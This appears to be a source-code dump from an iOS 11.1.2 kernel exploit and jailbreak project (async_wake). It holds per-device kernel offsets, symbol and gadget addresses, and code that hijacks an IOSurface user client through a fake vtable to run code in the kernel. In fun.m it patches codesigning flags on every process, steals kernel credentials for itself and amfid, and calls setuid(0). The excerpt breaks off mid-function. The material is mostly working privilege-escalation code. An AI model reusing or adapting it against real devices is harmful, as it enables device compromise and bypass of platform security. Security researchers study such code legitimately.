4 | #include 5 | 6 | uint64_t task_self_addr(void); 7 | uint64_t ipc_space_kernel(void); 8 | uint64_t find_kernel_base(void); 9 | 10 | uint64_t current_thread(void); 11 | 12 | mach_port_t fake_host_priv(void); 13 | 14 | #endif /* kutils_h */ 15 | -------------------------------------------------------------------------------- /async_wake_ios/main.m: -------------------------------------------------------------------------------- 1 | #import 2 | #import "AppDelegate.h" 3 | 4 | int main(int argc, char * argv[]) { 5 | @autoreleasepool { 6 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /async_wake_ios/symbols.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "symbols.h" 7 | #include "kmem.h" 8 | #include "kutils.h" 9 | 10 | // the offsets are unlikely to change between similar models and builds, but the symbol addresses will 11 | // the offsets are required to get the kernel r/w but the symbols aren't 12 | 13 | int* offsets = NULL; 14 | 15 | 16 | /* iOS 11.1.2 */ 17 | int kstruct_offsets_15B202[] = { 18 | 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 19 | 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 20 | 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 21 | 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 22 | 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 23 | 0x30, // KSTRUCT_OFFSET_TASK_PREV, 24 | 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE 25 | 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO, 26 | 27 | 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 28 | 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 29 | 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 30 | 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 31 | 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 32 | 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 33 | 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 34 | 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 35 | 36 | 0x10, // KSTRUCT_OFFSET_PROC_PID, 37 | 38 | 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 39 | 40 | 0x180, // KSTRUCT_OFFSET_THREAD_BOUND_PROCESSOR 41 | 0x188, // KSTRUCT_OFFSET_THREAD_LAST_PROCESSOR 42 | 0x190, // KSTRUCT_OFFSET_THREAD_CHOSEN_PROCESSOR 43 | 0x408, // KSTRUCT_OFFSET_THREAD_CONTEXT_DATA 44 | 0x410, // KSTRUCT_OFFSET_THREAD_UPCB 45 | 0x418, // KSTRUCT_OFFSET_THREAD_UNEON 46 | 0x420, // KSTRUCT_OFFSET_THREAD_KSTACKPTR 47 | 48 | 0x54, // KSTRUCT_OFFSET_PROCESSOR_CPU_ID 49 | 50 | 0x28, // KSTRUCT_OFFSET_CPU_DATA_EXCEPSTACKPTR 51 | 0X78, // KSTRUCT_OFFSET_CPU_DATA_CPU_PROCESSOR 52 | }; 53 | 54 | int koffset(enum kstruct_offset offset) { 55 | if (offsets == NULL) { 56 | printf("need to call symbols_init() prior to querying offsets\n"); 57 | return 0; 58 | } 59 | return offsets[offset]; 60 | } 61 | 62 | // this is the base of the kernel, not the kernelcache 63 | uint64_t kernel_base = 0; 64 | uint64_t* symbols = NULL; 65 | uint64_t kaslr_slide = 0; 66 | 67 | // ip7 68 | uint64_t ksymbols_iphone_7_15B202[] = { 69 | 0xfffffff0074d74cc, // KSYMBOL_OSARRAY_GET_META_CLASS, 70 | 0xfffffff007566454, // KSYMBOL_IOUSERCLIENT_GET_META_CLASS 71 | 0xfffffff007567bfc, // KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX 72 | 0xfffffff0073eb130, // KSYMBOL_CSBLOB_GET_CD_HASH 73 | 0xfffffff007101248, // KSYMBOL_KALLOC_EXTERNAL 74 | 0xfffffff007101278, // KSYMBOL_KFREE 75 | 0xfffffff0074d74d4, // KYSMBOL_RET 76 | 0xfffffff0074f11cc, // KSYMBOL_OSSERIALIZER_SERIALIZE, 77 | 0xfffffff00758c618, // KSYMBOL_KPRINTF 78 | 0xfffffff0074fc164, // KSYMBOL_UUID_COPY 79 | 0xfffffff0075b2000, // KSYMBOL_CPU_DATA_ENTRIES 80 | 0xfffffff0070cc1d4, // KSYMBOL_VALID_LINK_REGISTER 81 | 0xfffffff0070cc1ac, // KSYMBOL_X21_JOP_GADGET 82 | 0xfffffff0070cc474, // KSYMBOL_EXCEPTION_RETURN 83 | 0xfffffff0070cc42c, // KSYMBOL_THREAD_EXCEPTION_RETURN 84 | 0xfffffff0071e1998, // KSYMBOL_SET_MDSCR_EL1_GADGET 85 | 0xfffffff007439b20, // KSYMBOL_WRITE_SYSCALL_ENTRYPOINT // this is actually 1 instruction in to the entrypoint 86 | 0xfffffff0071de074, // KSYMBOL_EL1_HW_BP_INFINITE_LOOP 87 | 0xfffffff0071dea24, // KSYMBOL_SLEH_SYNC_EPILOG 88 | }; 89 | 90 | uint64_t ksymbols_ipod_touch_6g_15b202[] = { 91 | 0xFFFFFFF0074A4A4C, // KSYMBOL_OSARRAY_GET_META_CLASS, 92 | 0xFFFFFFF007533CF8, // KSYMBOL_IOUSERCLIENT_GET_META_CLASS 93 | 0xFFFFFFF0075354A0, // KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX 94 | 0xFFFFFFF0073B71E4, // KSYMBOL_CSBLOB_GET_CD_HASH 95 | 0xFFFFFFF0070C8710, // KSYMBOL_KALLOC_EXTERNAL 96 | 0xFFFFFFF0070C8740, // KSYMBOL_KFREE 97 | 0xFFFFFFF0070C873C, // KYSMBOL_RET 98 | 0xFFFFFFF0074BE978, // KSYMBOL_OSSERIALIZER_SERIALIZE, 99 | 0xFFFFFFF007559FD0, // KSYMBOL_KPRINTF 100 | 0xFFFFFFF0074C9910, // KSYMBOL_UUID_COPY 101 | 0xFFFFFFF00757E000, // KSYMBOL_CPU_DATA_ENTRIES // 0x6000 in to the data segment 102 | 0xFFFFFFF00709818C, // KSYMBOL_VALID_LINK_REGISTER // look for reference to FAR_EL1 (Fault Address Register (EL1)) 103 | 0xFFFFFFF007098164, // KSYMBOL_X21_JOP_GADGET // look for references to FPCR (Floating-point Control Register) 104 | 0xFFFFFFF007098434, // KSYMBOL_EXCEPTION_RETURN // look for references to Set PSTATE.DAIF [--IF] 105 | 0xFFFFFFF0070983E4, // KSYMBOL_THREAD_EXCEPTION_RETURN // a bit before exception_return 106 | 0xFFFFFFF0071AD144, // KSYMBOL_SET_MDSCR_EL1_GADGET // look for references to MDSCR_EL1 107 | 0xFFFFFFF0074062F4, // KSYMBOL_WRITE_SYSCALL_ENTRYPOINT // look for references to enosys to find the syscall table (this is actually 1 instruction in to the entrypoint) 108 | 0xFFFFFFF0071A90C0, // KSYMBOL_EL1_HW_BP_INFINITE_LOOP // look for xrefs to "ESR (0x%x) for instruction trapped" and find switch case 49 109 | 0xFFFFFFF0071A9ABC, // KSYMBOL_SLEH_SYNC_EPILOG // look for xrefs to "Unsupported Class %u event code." 110 | }; 111 | 112 | uint64_t ksymbols_iphone_6s_15b202[] = { 113 | 0xFFFFFFF00748D548, // KSYMBOL_OSARRAY_GET_META_CLASS, 114 | 0xFFFFFFF00751C4D0, // KSYMBOL_IOUSERCLIENT_GET_META_CLASS 115 | 0xFFFFFFF00751DC78, // KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX 116 | 0xFFFFFFF0073A1054, // KSYMBOL_CSBLOB_GET_CD_HASH 117 | 0xFFFFFFF0070B8088, // KSYMBOL_KALLOC_EXTERNAL 118 | 0xFFFFFFF0070B80B8, // KSYMBOL_KFREE 119 | 0xFFFFFFF0070B80B4, // KYSMBOL_RET 120 | 0xFFFFFFF0074A7248, // KSYMBOL_OSSERIALIZER_SERIALIZE, 121 | 0xFFFFFFF0075426C4, // KSYMBOL_KPRINTF 122 | 0xFFFFFFF0074B21E0, // KSYMBOL_UUID_COPY 123 | 0xFFFFFFF007566000, // KSYMBOL_CPU_DATA_ENTRIES // 0x6000 in to the data segment 124 | 0xFFFFFFF00708818C, // KSYMBOL_VALID_LINK_REGISTER // look for reference to FAR_EL1 (Fault Address Register (EL1)) 125 | 0xFFFFFFF007088164, // KSYMBOL_X21_JOP_GADGET // look for references to FPCR (Floating-point Control Register) 126 | 0xFFFFFFF007088434, // KSYMBOL_EXCEPTION_RETURN // look for references to Set PSTATE.DAIF [--IF] 127 | 0xFFFFFFF0070883E4, // KSYMBOL_THREAD_EXCEPTION_RETURN // a bit before exception_return 128 | 0xFFFFFFF007197AB0, // KSYMBOL_SET_MDSCR_EL1_GADGET // look for references to MDSCR_EL1 129 | 0xFFFFFFF0073EFB44, // KSYMBOL_WRITE_SYSCALL_ENTRYPOINT // look for references to enosys to find the syscall table (this is actually 1 instruction in to the entrypoint) 130 | 0xFFFFFFF0071941D8, // KSYMBOL_EL1_HW_BP_INFINITE_LOOP // look for xrefs to "ESR (0x%x) for instruction trapped" and find switch case 49 131 | 0xFFFFFFF007194BBC, // KSYMBOL_SLEH_SYNC_EPILOG // look for xrefs to "Unsupported Class %u event code." 132 | }; 133 | 134 | uint64_t ksym(enum ksymbol sym) { 135 | if (kernel_base == 0) { 136 | if (!have_kmem_read()) { 137 | printf("attempted to use symbols prior to gaining kernel read\n"); 138 | return 0; 139 | } 140 | kernel_base = find_kernel_base(); 141 | kaslr_slide = find_kernel_base() - 0xFFFFFFF007004000; 142 | } 143 | //return symbols[sym] + kernel_base; 144 | return symbols[sym] + kaslr_slide; 145 | } 146 | 147 | int have_syms = 0; 148 | int probably_have_correct_symbols() { 149 | return have_syms; 150 | } 151 | 152 | void offsets_init() { 153 | size_t size = 32; 154 | char build_id[size]; 155 | memset(build_id, 0, size); 156 | int err = sysctlbyname("kern.osversion", build_id, &size, NULL, 0); 157 | if (err == -1) { 158 | printf("failed to detect version (sysctlbyname failed\n"); 159 | return; 160 | } 161 | printf("build_id: %s\n", build_id); 162 | 163 | struct utsname u = {0}; 164 | uname(&u); 165 | 166 | printf("sysname: %s\n", u.sysname); 167 | printf("nodename: %s\n", u.nodename); 168 | printf("release: %s\n", u.release); 169 | printf("version: %s\n", u.version); 170 | printf("machine: %s\n", u.machine); 171 | 172 | // set the offsets 173 | 174 | if (strcmp(build_id, "15B202") == 0) { 175 | offsets = kstruct_offsets_15B202; 176 | } else { 177 | offsets = kstruct_offsets_15B202; 178 | printf("unknown kernel build. If this is iOS 11 it might still be able to get tfp0, trying anyway\n"); 179 | have_syms = 0; 180 | return; 181 | } 182 | 183 | // set the symbols 184 | 185 | if (strstr(u.machine, "iPod7,1")) { 186 | printf("this is iPod Touch 6G, should work!\n"); 187 | symbols = ksymbols_ipod_touch_6g_15b202; 188 | have_syms = 1; 189 | } else if (strstr(u.machine, "iPhone9,3")) { 190 | printf("this is iPhone 7, should work!\n"); 191 | symbols = ksymbols_iphone_7_15B202; 192 | have_syms = 1; 193 | } else if (strstr(u.machine, "iPhone8,1")) { 194 | printf("this is iPhone 6s, should work!\n"); 195 | symbols = ksymbols_iphone_6s_15b202; 196 | have_syms = 1; 197 | } else { 198 | printf("no symbols for this device yet\n"); 199 | printf("tfp0 should still work, but the kernel debugger PoC won't\n"); 200 | symbols = NULL; 201 | // symbols = ksymbols_iphone_6s_15b202; 202 | have_syms = 0; 203 | } 204 | } 205 | 206 | 207 | -------------------------------------------------------------------------------- /async_wake_ios/symbols.h: -------------------------------------------------------------------------------- 1 | #ifndef symbols_h 2 | #define symbols_h 3 | 4 | #include 5 | 6 | enum kstruct_offset { 7 | /* struct task */ 8 | KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 9 | KSTRUCT_OFFSET_TASK_REF_COUNT, 10 | KSTRUCT_OFFSET_TASK_ACTIVE, 11 | KSTRUCT_OFFSET_TASK_VM_MAP, 12 | KSTRUCT_OFFSET_TASK_NEXT, 13 | KSTRUCT_OFFSET_TASK_PREV, 14 | KSTRUCT_OFFSET_TASK_ITK_SPACE, 15 | KSTRUCT_OFFSET_TASK_BSD_INFO, 16 | 17 | /* struct ipc_port */ 18 | KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 19 | KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 20 | KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 21 | KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 22 | KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 23 | KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 24 | KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 25 | KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 26 | 27 | /* struct proc */ 28 | KSTRUCT_OFFSET_PROC_PID, 29 | 30 | /* struct ipc_space */ 31 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE, 32 | 33 | /* struct thread */ 34 | KSTRUCT_OFFSET_THREAD_BOUND_PROCESSOR, 35 | KSTRUCT_OFFSET_THREAD_LAST_PROCESSOR, 36 | KSTRUCT_OFFSET_THREAD_CHOSEN_PROCESSOR, 37 | KSTRUCT_OFFSET_THREAD_CONTEXT_DATA, // thread.machine.contextData 38 | KSTRUCT_OFFSET_THREAD_UPCB, // thread.machine.upcb 39 | KSTRUCT_OFFSET_THREAD_UNEON, // thread.machine.uNeon 40 | KSTRUCT_OFFSET_THREAD_KSTACKPTR, 41 | 42 | /* struct processor */ 43 | KSTRUCT_OFFSET_PROCESSOR_CPU_ID, 44 | 45 | /* struct cpu_data */ 46 | KSTRUCT_OFFSET_CPU_DATA_EXCEPSTACKPTR, // despite the name this actually points to the top of the stack, not the bottom 47 | KSTRUCT_OFFSET_CPU_DATA_CPU_PROCESSOR, 48 | }; 49 | 50 | 51 | 52 | // the 53 | 54 | enum ksymbol { 55 | KSYMBOL_OSARRAY_GET_META_CLASS, 56 | KSYMBOL_IOUSERCLIENT_GET_META_CLASS, 57 | KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX, 58 | KSYMBOL_CSBLOB_GET_CD_HASH, 59 | KSYMBOL_KALLOC_EXTERNAL, 60 | KSYMBOL_KFREE, 61 | KSYMBOL_RET, 62 | KSYMBOL_OSSERIALIZER_SERIALIZE, 63 | KSYMBOL_KPRINTF, 64 | KSYMBOL_UUID_COPY, 65 | KSYMBOL_CPU_DATA_ENTRIES, 66 | KSYMBOL_VALID_LINK_REGISTER, 67 | KSYMBOL_X21_JOP_GADGET, 68 | KSYMBOL_EXCEPTION_RETURN, 69 | KSYMBOL_THREAD_EXCEPTION_RETURN, 70 | KSYMBOL_SET_MDSCR_EL1_GADGET, 71 | KSYMBOL_WRITE_SYSCALL_ENTRYPOINT, 72 | KSYMBOL_EL1_HW_BP_INFINITE_LOOP, 73 | KSYMBOL_SLEH_SYNC_EPILOG 74 | }; 75 | 76 | int koffset(enum kstruct_offset); 77 | 78 | uint64_t ksym(enum ksymbol); 79 | 80 | void offsets_init(void); 81 | void symbols_init(void); 82 | int probably_have_correct_symbols(void); 83 | 84 | #endif 85 | -------------------------------------------------------------------------------- /async_wake_ios/the_fun_part/fun.h: -------------------------------------------------------------------------------- 1 | // 2 | // fun.h 3 | // async_wake_ios 4 | // 5 | // Created by George on 14/12/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #ifndef fun_h 10 | #define fun_h 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #import 18 | #import 19 | #import 20 | #import 21 | #import 22 | #import 23 | #import 24 | 25 | #include 26 | 27 | #include 28 | 29 | #include 30 | 31 | #include "kmem.h" 32 | #include "find_port.h" 33 | #include "kutils.h" 34 | #include "symbols.h" 35 | #include "early_kalloc.h" 36 | #include "kdbg.h" 37 | #include "patchfinder64.h" 38 | 39 | #include "fun_objc.h" 40 | #include "fun_utils.h" 41 | #include 42 | #include 43 | #include 44 | #include 45 | 46 | extern uint64_t iokit_user_client_trap( 47 | mach_port_t connect, 48 | unsigned int index, 49 | uintptr_t p1, 50 | uintptr_t p2, 51 | uintptr_t p3, 52 | uintptr_t p4, 53 | uintptr_t p5, 54 | uintptr_t p6 ); 55 | 56 | 57 | void let_the_fun_begin(mach_port_t tfp0, mach_port_t user_client); 58 | 59 | #endif /* fun_h */ 60 | -------------------------------------------------------------------------------- /async_wake_ios/the_fun_part/fun.m: -------------------------------------------------------------------------------- 1 | // 2 | // fun.c 3 | // async_wake_ios 4 | // 5 | // Created by George on 14/12/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #include "fun.h" 10 | 11 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid 12 | unsigned offsetof_task = 0x18; // proc_t::task 13 | unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred 14 | unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags 15 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port) 16 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port) 17 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port) 18 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send) 19 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send) 20 | unsigned offsetof_special = 2 * sizeof(long); // host::special 21 | 22 | #define CS_VALID 0x0000001 /* dynamically valid */ 23 | #define CS_ADHOC 0x0000002 /* ad hoc signed */ 24 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ 25 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */ 26 | 27 | #define CS_HARD 0x0000100 /* don't load invalid pages */ 28 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */ 29 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */ 30 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ 31 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */ 32 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */ 33 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000 34 | 35 | #define CS_ALLOWED_MACHO 0x00ffffe 36 | 37 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */ 38 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */ 39 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */ 40 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */ 41 | 42 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */ 43 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */ 44 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ 45 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */ 46 | 47 | char *itoa(long n) 48 | { 49 | int len = n==0 ? 1 : floor(log10l(labs(n)))+1; 50 | if (n<0) len++; // room for negative sign '-' 51 | 52 | char *buf = calloc(sizeof(char), len+1); // +1 for null 53 | snprintf(buf, len+1, "%ld", n); 54 | return buf; 55 | } 56 | 57 | 58 | const char* resourceInBundle(char* resource) { 59 | char path[4096]; 60 | uint32_t size = sizeof(path); 61 | _NSGetExecutablePath(path, &size); 62 | char *pt = realpath(path, NULL); 63 | 64 | NSString *execpath = [[NSString stringWithUTF8String:pt] stringByDeletingLastPathComponent]; 65 | 66 | NSString *bootstrap = [execpath stringByAppendingPathComponent:[NSString stringWithUTF8String:resource]]; 67 | return [bootstrap UTF8String]; 68 | } 69 | 70 | uint64_t kexecute(mach_port_t user_client, uint64_t fake_client, uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { 71 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex 72 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. 73 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the 74 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed 75 | // through like normal. 76 | 77 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it 78 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents 79 | // (i'm not actually sure if the switch back is necessary but meh) 80 | 81 | uint64_t offx20 = kread64(fake_client+0x40); 82 | uint64_t offx28 = kread64(fake_client+0x48); 83 | kwrite64(fake_client+0x40, x0); 84 | kwrite64(fake_client+0x48, addr); 85 | uint64_t returnval = iokit_user_client_trap(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); 86 | kwrite64(fake_client+0x40, offx20); 87 | kwrite64(fake_client+0x48, offx28); 88 | return returnval; 89 | } 90 | 91 | typedef struct { 92 | uint64_t prev; 93 | uint64_t next; 94 | uint64_t start; 95 | uint64_t end; 96 | } kmap_hdr_t; 97 | 98 | void let_the_fun_begin(mach_port_t tfp0, mach_port_t user_client) { 99 | 100 | init_kernel_utils(tfp0, user_client); 101 | 102 | // Loads the kernel into the patch finder, which just fetches the kernel memory for patchfinder use 103 | init_kernel(find_kernel_base(), NULL); 104 | 105 | dlopen(resourceInBundle("test.dylib"), RTLD_NOW); 106 | 107 | 108 | // Get the slide 109 | uint64_t slide = find_kernel_base() - 0xFFFFFFF007004000; 110 | printf("[fun] slide: 0x%016llx\n", slide); 111 | 112 | kmap_hdr_t kernel_map; 113 | 114 | kread(kread64(0xFFFFFFF0075D5E20+slide)+0x10, &kernel_map, sizeof(kernel_map)); 115 | 116 | uint64_t zm_tmp; 117 | # define ZM_FIX_ADDR(addr) \ 118 | ( \ 119 | zm_tmp = (kernel_map.start & 0xffffffff00000000) | ((addr) & 0xffffffff), \ 120 | zm_tmp < kernel_map.start ? zm_tmp + 0x100000000 : zm_tmp \ 121 | ) 122 | 123 | 124 | 125 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable 126 | uint64_t IOSurfaceRootUserClient_port = find_port_address(user_client, MACH_MSG_TYPE_MAKE_SEND); // UserClients are just mach_ports, so we find its address 127 | uint64_t IOSurfaceRootUserClient_addr = kread64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field 128 | uint64_t IOSurfaceRootUserClient_vtab = kread64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object 129 | 130 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one 131 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel 132 | 133 | 134 | // Create the vtable in the kernel memory, then copy the existing vtable into there 135 | uint64_t fake_vtable = kalloc(0x1000); 136 | printf("[fun] Created fake_vtable at %016llx\n", fake_vtable); 137 | 138 | for (int i = 0; i < 0x200; i++) { 139 | kwrite64(fake_vtable+i*8, kread64(IOSurfaceRootUserClient_vtab+i*8)); 140 | } 141 | 142 | printf("[fun] Copied some of the vtable over\n"); 143 | 144 | 145 | // Create the fake user client 146 | uint64_t fake_client = kalloc(0x1000); 147 | printf("[fun] Created fake_client at %016llx\n", fake_client); 148 | 149 | for (int i = 0; i < 0x200; i++) { 150 | kwrite64(fake_client+i*8, kread64(IOSurfaceRootUserClient_addr+i*8)); 151 | } 152 | 153 | printf("[fun] Copied the user client over\n"); 154 | 155 | // Write our fake vtable into the fake user client 156 | kwrite64(fake_client, fake_vtable); 157 | 158 | // Replace the user client with ours 159 | kwrite64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client); 160 | 161 | // Now the userclient port we have will look into our fake user client rather than the old one 162 | 163 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) 164 | kwrite64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret()); 165 | 166 | printf("[fun] Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex\n"); 167 | 168 | #define kexecute(addr, x0, x1, x2, x3, x4, x5, x6) kexecute(user_client, fake_client, addr, (uint64_t)x0, (uint64_t)x1, (uint64_t)x2, (uint64_t)x3, (uint64_t)x4, (uint64_t)x5, (uint64_t)x6) 169 | 170 | // Get our and the kernels struct proc from allproc 171 | uint32_t our_pid = getpid(); 172 | uint64_t our_proc = 0; 173 | uint64_t kern_proc = 0; 174 | uint64_t container_proc = 0; 175 | uint32_t amfid_pid = 0; 176 | 177 | uint64_t proc = kread64(find_allproc()); 178 | while (proc) { 179 | uint32_t pid = (uint32_t)kread32(proc + 0x10); 180 | char name[40] = {0}; 181 | kread(proc+0x268, name, 20); 182 | if (pid == our_pid) { 183 | our_proc = proc; 184 | } else if (pid == 0) { 185 | kern_proc = proc; 186 | } else if (strstr(name, "amfid")) { 187 | container_proc = proc; 188 | amfid_pid = pid; 189 | // printf("amfid's pid is %d", pid); 190 | // uint64_t mac_pol = kread64(kread64(proc+0x100)+0x78); 191 | // // printf("MAC policies for this process are at %016llx\n", mac_pol); 192 | // uint64_t amfi_mac_pol = kread64(mac_pol+0x8); // This is actually an OSDictionary zz 193 | // // printf("AMFI MAC policies at %016llx\n", amfi_mac_pol); 194 | // 195 | // uint64_t str = kalloc(strlen("get-task-allow")+1); 196 | // kwrite(str, "get-task-allow", strlen("get-task-allow")); 197 | // uint64_t bol = ZM_FIX_ADDR(kexecute(0xFFFFFFF0074A68C8+slide, 1, 0, 0, 0, 0, 0, 0)); 198 | // kexecute(kread64(kread64(amfi_mac_pol)+8*31), amfi_mac_pol, str, bol, 0, 0, 0, 0); 199 | //// 200 | // str = kalloc(strlen("dynamic-codesigning")+1); 201 | // kwrite(str, "dynamic-codesigning", strlen("dynamic-codesigning")); 202 | // bol = ZM_FIX_ADDR(kexecute(0xFFFFFFF0074A68C8+slide, 1, 0, 0, 0, 0, 0, 0)); 203 | // kexecute(kread64(kread64(amfi_mac_pol)+8*31), amfi_mac_pol, str, bol, 0, 0, 0, 0); 204 | 205 | 206 | // uint32_t f = kread32(amfi_mac_pol+20); // Number of items in the dictionary 207 | // // printf("%d\n", f); 208 | // 209 | // 210 | // uint64_t g = kread64(amfi_mac_pol+32); // Item buffer 211 | // // printf("%016llx\n", g); 212 | // 213 | // for (int i = 0; i < f; i++) { 214 | // // printf("%016llx\n", kread64(g+16*i)); // value is at this + 8 215 | // printf("%016llx\n", kread64(kread64(g+16*i+8))); 216 | // // printf("%016llx\n", kread64(kread64(kread64(g+16*i)+0x10))); 217 | // 218 | // size_t length = kexecute(0xFFFFFFF00709BDE0+slide, kread64(kread64(g+16*i)+0x10), 0, 0, 0, 0, 0, 0); 219 | // 220 | // char* s = (char*)calloc(length+1, 1); 221 | // kread(kread64(kread64(g+16*i)+0x10), s, length); 222 | // printf("%s\n", s); 223 | // 224 | // } 225 | } 226 | if (pid != 0) { 227 | uint32_t csflags = kread32(proc + offsetof_p_csflags); 228 | kwrite32(proc + offsetof_p_csflags, (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW | CS_VALID) & ~(CS_RESTRICT | CS_HARD)); 229 | } 230 | proc = kread64(proc); 231 | } 232 | 233 | printf("[fun] our proc is at 0x%016llx\n", our_proc); 234 | printf("[fun] kern proc is at 0x%016llx\n", kern_proc); 235 | 236 | // Give us some special flags 237 | // uint32_t csflags = kread32(our_proc + offsetof_p_csflags); 238 | // kwrite32(our_proc + offsetof_p_csflags, (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_HARD)); 239 | 240 | // Properly copy the kernel's credentials so setuid(0) doesn't crash 241 | uint64_t kern_ucred = 0; 242 | kexecute(find_copyout(), kern_proc+0x100, &kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0); 243 | 244 | uint64_t self_ucred = 0; 245 | kexecute(find_copyout(), our_proc+0x100, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0); 246 | 247 | kexecute(find_bcopy(), kern_ucred + 0x78, self_ucred + 0x78, sizeof(uint64_t), 0, 0, 0, 0); 248 | kexecute(find_bzero(), self_ucred + 0x18, 12, 0, 0, 0, 0, 0); 249 | 250 | uint64_t sb_ucred = 0; 251 | kexecute(find_copyout(), container_proc+0x100, &sb_ucred, sizeof(sb_ucred), 0, 0, 0, 0); 252 | 253 | kexecute(find_bcopy(), kern_ucred + 0x78, sb_ucred + 0x78, sizeof(uint64_t), 0, 0, 0, 0); 254 | kexecute(find_bzero(), sb_ucred + 0x18, 12, 0, 0, 0, 0, 0); 255 | 256 | // setuid(0) + test 257 | { 258 | 259 | printf("[fun] our uid was %d\n", getuid()); 260 | 261 | setuid(0); 262 | 263 | printf("[fun] our uid is %d\n", getuid()); 264 | 265 | FILE *f = fopen("/var/mobile/.root_fun", "w"); 266 | if (f == 0) { 267 | printf("[fun] failed to write test file. something didn't work\n"); 268 | } else { 269 | printf("[fun] wrote test file: %p\n", f); 270 | } 271 | 